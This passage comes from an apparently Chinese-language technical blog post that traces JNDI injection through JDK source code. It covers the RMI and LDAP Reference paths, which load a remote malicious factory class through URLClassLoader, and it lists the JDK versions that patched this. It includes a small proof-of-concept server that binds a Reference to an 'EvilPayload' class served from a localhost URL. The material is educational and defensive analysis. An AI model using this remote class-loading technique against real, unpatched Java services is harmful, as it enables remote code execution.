ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

//工厂存在、并且对象是Reference类,工厂类名能获取到,就对该对象进行工厂构建实例化对象
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

//上面的情况都不存在,没有工厂,对象也不是Reference类,就搜寻其它符合条件的的工厂,存在就返回工厂,否则返回null
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

在该方法中,由于构建器未创建因此buildernull,同时该动态代理stub不属于Reference/Referenceable,因此找不到对应的工厂无法进行创建对象实例化,最后调用createObjectFromFactories方法寻找符合条件的工厂,不存在符合条件的工厂,因此返回null,到此结束创建过程,最后只获得rmi的远程服务stub进行通讯

总结描述就是:JNDI通过上下文对rmi字符串进行解析,识别到rmi协议,判断是否是远程引用(References类),不是的话再由rmi调用方式去执行代码。

2、References-rmi注入调试分析

JNDI-rmi服务端:

    public static void main(String[] agrs) throws RemoteException, AlreadyBoundException,Exception {
InitialContext ic=new InitialContext();
// ic.rebind("rmi://localhost:1099/RMIObject",new RMIObjectImpl());
Reference rf=new Reference("2EvilPayload","EvilPayload","http://localhost:8999/");
ic.rebind("rmi://localhost:1099/RMIObject",rf);
}

JNDI-rmi客户端:

public static void main(String[] args) throws RemoteException, NotBoundException,Exception {
InitialContext ic=new InitialContext();
RMIObject rl=(RMIObject) ic.lookup("rmi://localhost:1099/RMIObject");
System.out.println(rl.hello("hi"));
}

1)环境准备
当前测试环境为jdk1.8.0_66(漏洞在jdk8_121处进行防护措施),在调试前需要添加sun包,idea导入默认的jdk1.8.0_66版本没有sun.jndi的包,调试中会遇到jndi包会进入class文件,不利于调试,因此需要手动导入sun.jndi包

源码下载:https://hg.openjdk.java.net/jdk8/jdk8/jdk/

下载过后,将对应sun.jndi包导入jdk根目录src.zip中,然后重新加载一下即可


接下来就能对当前java版本进行调试了

2)分析调试
前半段部分跟原生rmi分析一样,不重复分析,进入到不同的代码逻辑中分析,直到RegistryContext.lookup方法这里获取obj对象。

通过RegistryImpl_Stub.lookup查询对象,本身返回的是远程对象的stub如上面分析那样获取远程对象的动态代理stub,但这里返回ReferenceWrapper_Stub

导致返回ReferenceWrapper_Stub的原因在服务端进行rebind的时候进行的encodeObject

跟进绑定,这里直接截取关键步骤到RegistryContext.rebind方法,这里在对对象绑定时,多了一个encodeObject步骤

这里针对obj对象属于Reference类的话,就强制转换成ReferenceWrapper对象,因此实际绑定的是ReferenceWrapper_stub对象,在上面远程获取对象stub的时候会获取到ReferenceWrapper_stub

回到客户端主体上来,获取到ReferenceWrapper_stub对象过后,运行decodeObject方法

跟进decodeObject方法,此时判断远程对象属于是RemoteReference类,因此调用getReference()方法返回引用对象

然后调用NamingManager.getObjectInstance方法,继续跟进

这里同样显示查看是否存在构造器,由于未创建,因此buildernull,再判断远程对象是否属于引用类(Reference),属于,然后将引用对象信息赋值给ref变量

接着ref已经被赋值,因此进入判断体,变量f为获取远程对象的工厂类名,ref存在、f存在,通过getObjectFactoryFromReference方法从引用中获取对象工厂,跟进getObjectFactoryFromReference方法

getObjectFactoryFromReference方法通过类加载直接加载工厂名

通过本地类加载器去加载工厂类

由于是远程地址的工厂,本地加载器查询不到的远程的工厂,因此clanull

接着调用ref.getFactoryClassLocation()查看工厂类地址,返回远程地址

然后再调用类加载去加载codebase远程地址

这里通过调用URLClassLoader类加载器去创建出FactoryURLClassLoader工厂URL类加载器,然后通过这个工厂URL类加载器去远程加载恶意工厂

获取到加载器后,就调用加载器实例化newInstance(),此时恶意工厂的构造函数被执行,触发漏洞

调用链
由上面分析步骤得到JNDI-rmi的Reference注入调用链:

RegistryContext.DecodeObject()
->NamingManager.getObjectInstance()
->factory.getObjectInstance()

3)疑惑
在运行一次引用注入过后,每一步调试不再去请求远程地址,通过本地的类加载器也能加载工厂进行实例化。

原因:在构造过后本地项目out目录下生成了远程工厂的类,因此在下次执行的时候在本地类加载的时候就能获取到该类信息。(具体在哪个步骤导致的没发现,本地文件删除过后,后面就没写入了)

3、References-ldap注入调试分析

lookup下断点分析

同样的步骤通过getURLOrDefaultInitCtx方法获取字符串上下文,判断协议前缀调用对象类的上下文,前面分析过了,这里直接过掉

通过协议前缀获取到ldapURLContext上下文,进入它的lookup方法

通过hasQueryComponents方法查询字符串结尾是否存在?号(如ldap://localhost:9999/?),存在就抛出异常,接着跟进super.lookup方法,也就是父类的lookup方法

同样调用getRootURLContext方法分割解析路径获取解析结果,在调用getResolvedObj方法获取解析结果对象LdapCtx

跟进ctx.lookup

获取一些相关属性过后,调用LdapCtx.lookup方法(调用到父类ComponentDirContext.lookup方法),继续跟进

通过p_resolveIntermediate方法解析运行介质,进入TERMINAL_COMPONENT终端组件分支(我是这么理解的),然后调用c_lookup方法,跟进

获取到远程ldapentry后赋值给attr保存,开始解码对象信息

先是获取到codebase也就是ldap服务地址,然后判断字段属性,根据不同属性进行不同的解析(如果是序列化对象就用反序列化解析对象,如果是远程对象,就用rmi解析对象),

这里是引用对象,因此会走到引用对象判断里,调用decodeReference方法

跟进decodeReference方法,获取类名、工厂,然后创建引用对象信息ref

获取到ref引用对象Obj后,调用DirectoryManager.getObjectInstance静态方法,跟进


可以看到这里的方法跟上面jndi-rmi最后调用实例化的方法NamingManager.getObjectInstance非常相似,相关判断描述在jndi-rmi分析过了就接着下面

获取到工厂对象信息、工厂类名后,然后通过getObjectFactoryFromReference构建工厂

跟进,类加载工厂类名

同样本地不存在该工厂类(该类为ldap远程的恶意类,本地加载器在本地搜索不到该类),传入codebase进行类加载,继续跟进

同样的步骤通过URLClassLoader URL加载器远程加载对象类

获取URLClassLoader类加载器后,再次进行类加载

此时通过反射成功获取到远程类对象。

然后返回类对象,最后对类对象进行实例化,触发漏洞,最后的步骤跟jndi调用rmi时步骤一样


0x04、修复范围

JNDI-RMI:
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。
JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

JNDI-LDAP:
2018年10月,Java修复了该利用点,对LDAP Reference远程工厂类的加载增加了限制
范围:Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,需要人工调整至true

引用网上的一张修复时间轴:

0x05、总结

可以看到LDAP的利用限制仅限制于服务器JAVA版本,没有其他限制,而RMI除了java版本限制以外,还存在利用链依赖组件条件满足才能去触发漏洞。

总的来说rmi和ldap的利用情况和源码层面很类似,Jndi根据不同协议进入不同的上下文处理,但在漏洞版本内都到最后进行远程调用恶意类实例化对象触发漏洞。

0x06、参考链接

https://docs.oracle.com/javase/tutorial/rmi/overview.html
https://www.bilibili.com/video/BV1L3411a7ax/
https://xz.aliyun.com/t/9261
https://su18.org/post/rmi-attack/
https://blog.csdn.net/qq_35029061/article/details/126160669
https://daiker.gitbook.io/windows-protocol/ldap-pian/8#0x01-ldap-jian-jie
https://www.cnblogs.com/wilburxu/p/9174353.html